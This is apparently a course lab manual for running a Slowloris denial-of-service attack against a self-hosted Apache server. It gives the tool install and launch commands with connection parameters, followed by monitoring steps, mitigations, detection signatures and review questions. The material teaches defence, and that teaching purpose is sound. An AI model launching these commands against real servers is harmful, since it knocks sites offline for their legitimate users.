Experiment 4: Performing a Slowloris Attack

Lab Objective

Demonstrate a Slowloris Denial of Service (DoS) attack against a vulnerable web server, showing how low-bandwidth and slow partial HTTP requests can exhaust server resources and deny service to legitimate users.

Background

Slowloris Attack Overview[1]

Slowloris is a Layer 7 (Application Layer) DoS attack tool that works by opening many connections to a target web server and keeping them open as long as possible by sending incomplete or partial HTTP requests[1]. Unlike traditional bandwidth-heavy DDoS attacks, Slowloris uses minimal bandwidth and is difficult for traditional firewalls to detect[1][2].

Key Characteristics:

- Low bandwidth consumption (makes detection harder)
- Slow, incomplete HTTP requests
- Exhausts server connection slots
- Particularly effective against Apache and similar single-threaded servers[1]
- Can be launched from a single machine[2]

Pre-Lab Requirements

- Two machines or virtual machines: Attacker and Target Server
- Target machine: Apache web server installed and running
- Attacker machine: Kali Linux or Linux with Slowloris tool available
- Network connectivity between attacker and server
- Terminal/command line access on both machines
- Basic knowledge of HTTP requests and TCP connections

Lab Setup

Step 1: Configure Target Server

1. Boot the target machine (Ubuntu/Debian or similar Linux)
2. Start Apache web server:
   sudo service apache2 start
3. Note the server's IP address:
   ifconfig | grep "inet "

4. Verify Apache is running (should see default Apache page):
   sudo service apache2 status

Step 2: Configure Attacker Machine

1. Boot Kali Linux or Linux attacker machine
2. Note the attacker's IP address
3. Verify connectivity to target:
   ping <target_server_ip>
4. Test HTTP access in browser:
   http://<target_server_ip>
   (You should see the default Apache page)

Experimental Procedure

Step 3: Monitor Server Baseline

Before launching the attack, establish baseline metrics:

1. On the server machine, open a terminal
2. Check current number of active connections on port 80:
   sudo netstat -an | grep :80 | wc -l
3. Record this number (baseline). Example: "5 connections"
4. Optionally, monitor Apache logs:
   tail -f /var/log/apache2/access.log

Step 4: Install/Download Slowloris

On the attacker machine:

Option A: Using Python Slowloris

git clone https://github.com/gkbrk/slowloris.git
cd slowloris
python3 slowloris.py --help

Option B: Using Perl Slowloris

apt-get install slowloris
which slowloris

Step 5: Launch the Slowloris Attack

Using Python version:

cd slowloris
python3 slowloris.py <target_server_ip> -p 80

Using Perl version:

slowloris -dns <target_server_ip> -port 80 -timeout 30 -num 500

Attack Parameters Explained:

- `-p 80` or `-port 80`: Target port (HTTP)
- `-timeout 30`: Send new partial request every 30 seconds
- `-num 500`: Open up to 500 simultaneous connections
- Leave attack running for 2-5 minutes for observable effect

Example command:
slowloris -dns 192.168.1.100 -port 80 -timeout 30 -num 500

Step 6: Observe Attack Impact on Server

While the attack is running, on the server machine:

1. **Check active connections:**
   sudo netstat -an | grep :80 | wc -l
   - Compare with baseline number
   - Expect significant increase (e.g., from 5 to 100+ connections)
2. **View connection states:**
   sudo netstat -an | grep :80 | head -20
   - Observe many connections in "ESTABLISHED" or "TIME_WAIT" states
3. **Check Apache processes:**
   ps aux | grep apache | wc -l
4. **Monitor server resources:**
   top
   - Watch CPU usage and memory consumption

Step 7: Verify DoS Effect (Legitimate Access Test)

While attack is running, attempt legitimate access:

1. From another machine or browser on same network:
   curl http://<target_server_ip>
   - OR open the URL in a web browser
2. **Observed result**: Page loads very slowly or times out completely
3. Record observation in lab notebook

Step 8: Stop the Attack

1. On attacker machine, press **Ctrl+C** to stop Slowloris
2. Wait 30-60 seconds for connections to clear
3. On server, check connection count again:
   sudo netstat -an | grep :80 | wc -l
   - Should return closer to baseline numbers

Step 9: Server Recovery & Cleanup

1. Restart Apache service:
   sudo service apache2 restart
2. Verify server is responsive again:
   curl http://<target_server_ip>
3. Check logs for any errors:
   sudo tail -20 /var/log/apache2/error.log

Observations & Results

Expected Findings

Metric	Before Attack	During Attack
Active Connections	5-10	100-500+
Response Time	<100 ms	>5000 ms (timeout)
Apache Processes	2-5	20-50+
Server CPU Usage	5-10%	30-80%
Legitimate Access	Responsive	Slow/Unreachable

Table 1: Expected Attack Impact Measurements

Analysis

1. **Why did the server become unresponsive?**
   - The server has a limited number of worker processes (default ~150 in Apache)
   - Slowloris held many connections open, exhausting this pool
   - Legitimate requests could not get a free worker process
2. **Why is this attack harder to detect than traditional DDoS?**
   - Uses minimal bandwidth (difficult for IDS/firewalls to spot)
   - Appears as legitimate slow clients rather than attack traffic
   - Operates at Layer 7 (application), not Layer 3/4
3. **What makes certain servers vulnerable?**
   - Apache with default ThreadsPerChild setting (typically ~25-150)
   - Lack of connection timeouts or rate limiting
   - No mod_evasive or similar protection modules

Defense & Mitigation

Server-Side Protections

1. **Configure Connection Timeouts**:
   - Reduce Timeout in Apache config: `Timeout 30` (default 300)
   - Force-close slow connections
2. **Increase Worker Processes**: Increase `MaxRequestWorkers` in `mpm_prefork.conf`
3. **Enable mod_evasive**: Apache module that limits connections per IP
4. **Rate Limiting**: Use `mod_ratelimit` to limit request rates
5. **Reverse Proxy/WAF**: Nginx or F5 Big-IP can shield backend Apache
6. **Load Balancing**: Distribute connections across multiple servers

Detection Signatures

- Monitor for many slow/incomplete HTTP requests from single IP
- Alert on connections with very long request durations
- Track partial HTTP headers without body completion

Viva Questions & Answers

Q1: Why is Slowloris called a "low and slow" attack?

A1: Because it:

- Sends many slow, incomplete HTTP requests
- Uses minimal bandwidth (unlike bandwidth-heavy DDoS)
- Keeps connections alive without completing requests
- Makes it harder for traditional firewalls to detect as an attack

Q2: How does Slowloris differ from a volumetric DDoS?

A2:

- **Slowloris**: Low bandwidth, Layer 7, exhausts server capacity, single machine
- **Volumetric DDoS**: High bandwidth, Layer 3/4, floods network, multiple sources

Q3: Which servers are most vulnerable to Slowloris?

A3: Servers with:

- Single-threaded architecture (Apache default)
- Default timeout settings (too high)
- Limited worker process pool
- No rate limiting or connection limits

Q4: What is the server doing while Slowloris runs?

A4: The server is:

- Waiting for HTTP request completion that never comes
- Holding connection slots open with incomplete requests
- Unable to accept new legitimate connections when pool exhausted
- Using memory and resources for "zombie" connections

Q5: How can you detect an active Slowloris attack?

A5:

- Monitor connection count via `netstat` (sudden spike)
- Check for many incomplete HTTP requests in logs
- Use tools like `mod_evasive` or Snort IDS
- Watch for slow requests from single/few IPs

Conclusion

This lab successfully demonstrated how Slowloris—a sophisticated Layer 7 DoS attack—can disable a web server by exhausting its connection resources with minimal bandwidth. Unlike traditional flooding attacks, Slowloris is stealthy, effective, and difficult to detect with basic firewalls.

Key Takeaways:

- Proper server configuration (timeouts, limits, monitoring) is critical
- Defense-in-depth approach needed: firewalls, WAF, rate limiting, monitoring
- Application-layer attacks require application-layer defenses
- Ethical hacking skills help identify and fix vulnerabilities before exploitation

---

References

[1] Cloudflare. (2024). Slowloris DDoS attack. Retrieved from https://www.cloudflare.com/learning/ddos/ddos-attack-tools/slowloris/

[2] Imperva. (2023). What is Slowloris? Examples & Mitigation Techniques. Retrieved from https://www.imperva.com/learn/ddos/slowloris/